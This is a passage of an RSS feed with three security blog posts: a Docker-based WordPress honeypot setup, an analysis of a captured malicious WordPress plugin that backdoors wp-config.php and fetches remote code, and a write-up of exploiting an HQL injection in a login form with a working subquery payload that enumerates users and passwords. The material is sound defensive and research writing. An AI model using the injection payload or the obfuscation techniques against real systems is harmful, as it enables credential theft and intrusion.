almost used the default configuration, but I had to modify the standard Apache (php:apache) to include some necessary PHP extension. I created an extra Dockerfile:</p><pre>FROM php:apache</pre><pre># install the PHP extensions we need<br>RUN apt-get update &amp;&amp; apt-get upgrade -y &amp;&amp; apt-get install -y libpng12-dev libjpeg-dev &amp;&amp; rm -rf /var/lib/apt/lists/* \<br> &amp;&amp; docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \<br> &amp;&amp; docker-php-ext-install gd mysqli opcache</pre><pre># set recommended PHP.ini settings<br># see <a href="https://secure.php.net/manual/en/opcache.installation.php">https://secure.php.net/manual/en/opcache.installation.php</a><br>RUN { \<br>  echo &#39;opcache.memory_consumption=128&#39;; \<br>  echo &#39;opcache.interned_strings_buffer=8&#39;; \<br>  echo &#39;opcache.max_accelerated_files=4000&#39;; \<br>  echo &#39;opcache.revalidate_freq=2&#39;; \<br>  echo &#39;opcache.fast_shutdown=1&#39;; \<br>  echo &#39;opcache.enable_cli=1&#39;; \<br>    } &gt; /usr/local/etc/php/conf.d/opcache-recommended.ini</pre><pre>RUN a2enmod rewrite expires</pre><pre>CMD /usr/sbin/apache2ctl -D FOREGROUND</pre><p>After I built the container image with docker build -t apache-php . I could start the Apache. To make it possible to monitor any changes in the webroot I mounted it into the container:</p><pre>docker run -d --name &quot;wordpress_php&quot; \<br>  --link &quot;wordpress_db:mysql&quot; \<br>  -v &quot;/home/honeypot/wordpress/html&quot;:/var/www/html apache-php</pre><h4>The NGINX container</h4><p>Last but not least the NGINX. The NGINX is used as a proxy in front of the Apache to isolate it. I also mounted the log directory and the NGINX configuration file.</p><p>The NGINX configuration is pretty basic and looks like this:</p><pre>server {<br>    listen 80;</pre><pre>    access_log /var/log/nginx/access.log;<br>    error_log /var/log/nginx/error.log;</pre><pre>    location / {<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Real-IP $remote_addr;<br>        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>        proxy_set_header X-Forwarded-Proto $scheme;<br>        proxy_pass <a href="http://apache/">http://apache:80/</a>;<br>    }<br>}</pre><p>With this I am able to start the NGINX and access the Apache.</p><pre>docker run -d --name &quot;wordpress_nginx&quot; \<br>  --link &quot;wordpress_php:apache&quot; \<br>  -v &quot;/home/honeypot/wordpress/nginx.conf:/etc/nginx/conf.d/default.conf&quot; \<br>  -v &quot;/home/honeypot/wordpress/logs:/var/log/nginx&quot; \<br>  -p 8080:80 nginx:latest</pre><p>Okay, I now have three different containers. Let’s configure each so they can play together.</p><h3>Setting up Wordpress</h3><p>After every container is configured and started it is time to setup the Wordpress. This step is pretty just following the install wizard and choosing the super secure administration password “admin123”. After I convinced Wordpress that I really wanted to use such an insecure password I filled the blog with some dummy data. I used the data from <a href="http://wptest.io/">http://wptest.io/</a> (big thanks to <a href="https://poststatus.com/">Post Status</a> for maintaining this) which provides good test data for my purpose.</p><p>Before making the honeypot world accessible I created a snapshot of the current setup to easily restore the honeypot after a compromise. I first created a dump of the database:</p><pre>docker exec wordpress_db \<br>      sh -c &#39;exec mysqldump --all-databases -uroot -p&quot;$MYSQL_ROOT_PASSWORD&quot;&#39; &gt; &quot;/home/honeypot/wordpress/db/wordpress.sql&quot;</pre><p>The database dump is stored in the db directory of the honeypot, so it will be provisioned when I restart the database container. The next step is to backup the whole honeypot directory (ensure that this is not already compromised ;)). I simply used tar for this purpose:</p><pre>tar -cpzf &quot;/home/honeypot/wordpress.tar.gz&quot; -C &quot;/home/honeypot/wordpress&quot; .</pre><p>That’s all at this point.</p><h3>Isolating the Apache</h3><p>There is one more thing to do. As I mentioned above I don’t want my Wordpress to do any harm like sending spam or ddos’ing some sites when it is compromised.</p><p>I decided to disallow any incoming and outgoing network connections (except for those which are necessary). My servers are running a RHEL based Linux, so I used firewall-cmd to establish some firewall rules (okay, I admit these rules could probably a lot more elegant but I don’t speak iptables fluently):</p><pre># Allow communication between the NGINX proxy and the Apache<br>firewall-cmd --direct --add-rule ipv4 filter DOCKER-ISOLATION 0 -s <strong><em>&lt;wordpress_php_ip&gt;</em></strong> -d <strong><em>&lt;wordpress_nginx_ip&gt;</em></strong> -j ACCEPT<br>firewall-cmd --direct --add-rule ipv4 filter DOCKER-ISOLATION 0 -s <strong><em>&lt;wordpress_nginx_ip&gt;</em></strong> -d <strong><em>&lt;wordpress_php_ip&gt;</em></strong> -j ACCEPT</pre><pre># Allow communication between the Apache and the MySQL<br>firewall-cmd --direct --add-rule ipv4 filter DOCKER-ISOLATION 0 -s <strong><em>&lt;wordpress_php_ip&gt;</em></strong> -d <strong><em>&lt;wordpress_db_ip&gt;</em></strong> -j ACCEPT<br>firewall-cmd --direct --add-rule ipv4 filter DOCKER-ISOLATION 0 -s <strong><em>&lt;wordpress_db_ip&gt;</em></strong> -d <strong><em>&lt;wordpress_php_ip&gt;</em></strong> -j ACCEPT</pre><pre># Drop all outgoing communication from the Apache and the MySQL<br>firewall-cmd --direct --add-rule ipv4 filter DOCKER-ISOLATION 2 -s <strong><em>&lt;wordpress_db_ip&gt;</em></strong> -j DROP<br>firewall-cmd --direct --add-rule ipv4 filter DOCKER-ISOLATION 2 -s <strong><em>&lt;honeypot_php_ip&gt;</em></strong> -j DROP</pre><p>The Apache and the MySQL are now completely isolated and only accessible via the NGINX proxy. Let’s go out and catch some attacks :)</p><h3>Capturing attacks</h3><p>This is probably the most interesting part. Before I can capture an attack I need to know when an attack was successful and the honeypot is compromised. Wordpress attacks mostly result in modification of existing files or the installation of malicious plugins or themes. So it is easy to check if some files have changed to recognize a successful attack.</p><p>I setup a cronjob on the host system that constantly checks the webroot for changes. It uses a little handy tool checksumdir. This tool calculates checksums for entire directories. With this I can calculate the current hash of the wordpress directory and compare it to the reference hash of the newly setup directory. If a change is recognized the cronjob performs the following:</p><ul><li>Create a database dump and a snapshot of the current Wordpress instance:</li></ul><pre>docker exec wordpress_db \<br>      sh -c &#39;exec mysqldump --all-databases -uroot -p&quot;$MYSQL_ROOT_PASSWORD&quot;&#39; &gt; &quot;/home/honeypot/wordpress/db/wordpress.sql&quot;</pre><pre>tar -cpzf &quot;/home/honeypot/wordpress_$(date +%s).tar.gz&quot; -C &quot;/home/honeypot/wordpress&quot; .</pre><ul><li>Stop and delete all honeypot containers</li><li>Delete the Wordpress directory and restore the initial snapshot</li><li>Start new honeypot containers</li></ul><p>This is basically everything and this setup works pretty well. I currently check every 30 minutes if an attack occurred which is maybe to fast because I sometimes miss the following attacks. But in general this setup runs quite well and I am currently experimenting with some other CMS using the same setup.</p><p>An example of an captured attack is published here:</p><p><a href="https://medium.com/@BriX_428/a-quick-and-dirty-analysis-of-a-recent-captured-wordpress-attack-6002844e6029">A quick and dirty analysis of a recent captured WordPress attack</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ceda512b07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A quick and dirty analysis of a recent captured WordPress attack]]></title>
            <link>https://medium.com/@misc_heading/a-quick-and-dirty-analysis-of-a-recent-captured-wordpress-attack-6002844e6029?source=rss-7bc0aea5d3c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/6002844e6029</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Heading]]></dc:creator>
            <pubDate>Wed, 19 Apr 2017 15:24:01 GMT</pubDate>
            <atom:updated>2017-04-19T15:34:06.807Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently captured an interesting and strange WordPress attack in one of my honeypots. While analyzing the latest attack snapshot I found the following lines in the access.log (shortened for better overview):</p><pre>&lt;attacker-ip-1&gt; - &quot;GET /wp-login.php HTTP/1.1&quot; 200<br>&lt;attacker-ip-1&gt; - &quot;POST /wp-login.php HTTP/1.1&quot; 302<br>&lt;attacker-ip-1&gt; - &quot;GET /wp-admin/ HTTP/1.1&quot; 200<br>&lt;attacker-ip-1&gt; - &quot;GET /wp-admin/plugins.php HTTP/1.1&quot; 200<br>&lt;attacker-ip-1&gt; - &quot;GET /wp-admin/plugin-install.php HTTP/1.1&quot; 200<br>&lt;attacker-ip-1&gt; - &quot;GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1&quot; 200<br>&lt;attacker-ip-1&gt; - &quot;POST /wp-admin/update.php?action=upload-plugin HTTP/1.1&quot; 200<br>&lt;attacker-ip-1&gt; - &quot;GET /wp-content/plugins/google-author-livk/google-author-livk.php HTTP/1.1&quot; 200<br>&lt;attacker-ip-2&gt; - &quot;GET /?par=test HTTP/1.0&quot; 200</pre><p>Okay, nothing special here. After having found the correct (intentional weak) username/password combination, the attacker installs a new plugin “google-author-livk” via the admin panel. The plugin name should obviously mimic the existing WordPress plugin “Google Author Link”. After the installation of the plugin, the attacker triggers the script and finally verifies the attack.</p><p>Let’s start by taking a look at initial script “google-author-livk.php”:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a0897624d5249ac1588ce62e40bb64d9/href">https://medium.com/media/a0897624d5249ac1588ce62e40bb64d9/href</a></iframe><p>The script is heavily obfuscated. This script builds two separate strings “$i” and “$t” by using the characters from the third string “$c”. The deobfuscation process is pretty simple (run the script but without the function call at the end):</p><pre>$i = &quot;assert&quot;;<br>$U = &quot;eval(gzinflate(base64_decode(&quot;;<br>$w = &quot;)));&quot;;<br>$t = &quot;eval(gzinflate(base64_decode(&#39;pVd7b9pIEP8738K /* shortend */ zDHgGt4FeX+vw==&#39;)));&quot;</pre><p>So finally the script evaluates some base64-encoded and zipped data (string “$t”).</p><h3>Unpacking the “google-author-livk.php” plugin</h3><p>Let’s take a look at the code that should get evaluated. I dumped the script by switching the “eval” to a “print_r”:</p><pre>print_r(gzinflate(base64_decode(&#39;pVd7b9pIEP8738K /* shortend */ zDHgGt4FeX+vw==&#39;)));</pre><p>After having dumped the script, I cleaned it up (formatting etc.) and added some comments. You can take a look at the commented script below. The first part of the script creates a backup of the “wp-config.php” file and stores it in “sample-config.php” in the webroot (Interesting: the script contains error messages and status codes).</p><p>After the backup the contents of “wp-config.php” are loaded into the variable “$w”. A “preg_replace” ensures that “$w” does not contain any data from previous infections.</p><p>In the next step, another packed and obfuscated script is appended to the “wp-config.php”. Before this is done the file time of the unmodified “wp-config.php” file is saved. The script tracks the success of the implantation in the “$et” variable.</p><p>If the implantation succeeded (“$et != 2”) it is checked if the site is still working. If the script encounters website errors it performs a rollback of the “wp-config.php” file by restoring the backup in “sample-config.php”. If the implantation succeeds the script tries to hide the infection by restoring the file time of the modified “wp-config.php” to that one before the modification (kinda interesting :)).</p><p>Last but not least the script does some cleanup and removes itself from the file system. In addition, it tries to restore the folder time stamps to hide any modification.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f76691364982de233b4f82fda7aebc4a/href">https://medium.com/media/f76691364982de233b4f82fda7aebc4a/href</a></iframe><h3>The “wp-config.php” extension</h3><p>The code snippet that is appended to the “wp-config.php” is obfuscated the same way as the initial script. The code snippet itself is pretty simple. It simply queries another script from a remote server and executes it:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/94660e1a0e85e223e0678e7eb7255c66/href">https://medium.com/media/94660e1a0e85e223e0678e7eb7255c66/href</a></iframe><h3>Please, let me search …</h3><p>And this is where my confusion begins. I downloaded the script from the remote server and decoded it. The script accepts a GET parameter. The contents of the GET parameter get sanitized by two chained “preg_replace” calls (some illegal URL characters are removed).</p><p>The resulting key and the HTTP referrer is then send to an remote server endpoint “selfengine.php”.</p><p>If the remote server responds with “OK” the script will query one of the following three search engines Google, Yahoo or Bing with the sanitized GET parameter. If one search engine query succeeds the results are extracted and stored in two arrays “$out” and “$out2”.</p><p>So after this part, we have the results of the search engine queries stored in “$out” and “$out2”. The script does some further formatting with the extracted results and sends them base64 encoded to the remote server via a POST request.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7bbf342b2560230dbe45c233bbea758f/href">https://medium.com/media/7bbf342b2560230dbe45c233bbea758f/href</a></iframe><p>The last script is a bit strange. In the end, it appears to be nothing more than a search engine proxy. I did not quite get the point of this search engine proxy script. Is this a useful attack vector? The attack itself is very robust and tries to ensure that the site is still working. It even tries to hide the infection by restoring the file times of the modified directories and files. There has to be something else …</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6002844e6029" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a HQL injection]]></title>
            <link>https://medium.com/@misc_heading/exploiting-a-hql-injection-895f93d06718?source=rss-7bc0aea5d3c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/895f93d06718</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hql-injection]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Heading]]></dc:creator>
            <pubDate>Tue, 18 Apr 2017 15:50:27 GMT</pubDate>
            <atom:updated>2018-04-18T18:02:14.185Z</atom:updated>
            <content:encoded><![CDATA[<p>While testing a new project I stumbled over something that looked like a SQL injection. When logging into the web application submits a POST request with a JSON body:</p><pre>POST /login HTTP/1.1<br>Host:&lt;host&gt;<br>User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Content-Type: application/json<br>Content-Length: 65<br>Cookie: JSESSIONID=D6F3D7EAC2FA80E37726928882610255<br>Connection: close</pre><pre>{&quot;username&quot;:&quot;test&quot;,&quot;password&quot;:&quot;test&quot;}</pre><p>I immediatly tested the input for SQL injection by appending an extra ‘ to the username. The response contains an exception which means that something went wrong. By looking at the server response one can identify that a “org.hibernate.QueryException” occured due to an invalid query:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RfmvzThtIio_9Bghym7_UA.png" /></figure><p>Unfortunately, this means that we do not have a SQL injection but a HQL injection. The Hibernate Query Language (HQL) is a query language, similar to SQL, but operating on persistent objects instead of tables and columns. The HQL is translated to SQL by the Hibernate framework.</p><p>Honestly, this was the first time I stumbled over such an injection, so I started to do some more generic SQL injection testing. From the above exception I knew that the query looks like the following (“test” is the injection point):</p><pre>SELECT u FROM Users u WHERE u.active = 1 AND login = &#39;test&#39;</pre><p>This is a typical login query which searches for a valid user entity for the provided username. In the next step I submitted “test’ or ‘1’=’1” and got another exception:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYZ3RVVJmQRjvJ_g9jibZA.png" /></figure><p>The new exception is a “javax.persistance.NonUniqueResultException”. This means we got more than one expected result. After further testing, I noticed that the server responds with a HTTP error 422 when there is no valid user in the database (speaking in HQL: “u.active = 1 AND login = ‘user’” evaluates to false for all user entities).</p><p>Okay, let’s move further and read some data. My first try was to enumerate all available users. The problem is that HQL does not support all SQL features (e.g. the UNION statement, as well as meta information are missing). There is not very much information about HQL injections. I appended something like “test’ OR substring(login,1,1)=’a’” to the query and got a “NonUniqueResultException”. Fine. Unfortunately, I was not able to extract more than two characters.</p><p>I finally found out that I the only way to distinguish the queries is the “NonUniqueResultException”, but after more than two characters there simply is just one result hence no “NonUniqueResultException”. So I needed to find a way to cause a “NonUniqueResultException”. After fiddling around I came up with the following query which meets my requirements:</p><pre>SELECT u FROM Users u WHERE u.active = 1 AND login = &#39;test&#39; OR (select count(login) from Users u where login LIKE &#39;a%&#39;)&gt;=1 AND &#39;1&#39;=&#39;1&#39;</pre><p>The introduced subquery counts all user names that start with (in this case) “a”. The query is designed to evaluate to true when we have at least on valid user. I quickly tested it with Burp Suite:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lx5ePZMW9UrhvxnQ9j9QGA.png" /></figure><p>And the negative result when no user with this name is available:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z74twwu2SrFhbCQYwgyaPg.png" /></figure><p>After I found a successful way to exfiltrate data using an error-based approach it was time to automate it. So I wrote a little python script for this purpose:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/21615bd977f17bc0ab63d0e72d39212a/href">https://medium.com/media/21615bd977f17bc0ab63d0e72d39212a/href</a></iframe><p>With this, I was able to enumerate all available users including their passwords. Yeah :)</p><p>The sad part is that I could not read arbitrary data because HQL is missing all SQL comfort features like meta data about available tables and columns. This is due to HQLs restriction to object-mapped entities. I tried several methods suggested by <a href="http://blog.h3xstream.com/2014/02/hql-for-pentesters.html">http://blog.h3xstream.com/2014/02/hql-for-pentesters.html</a> but none of them worked in my case.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=895f93d06718" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>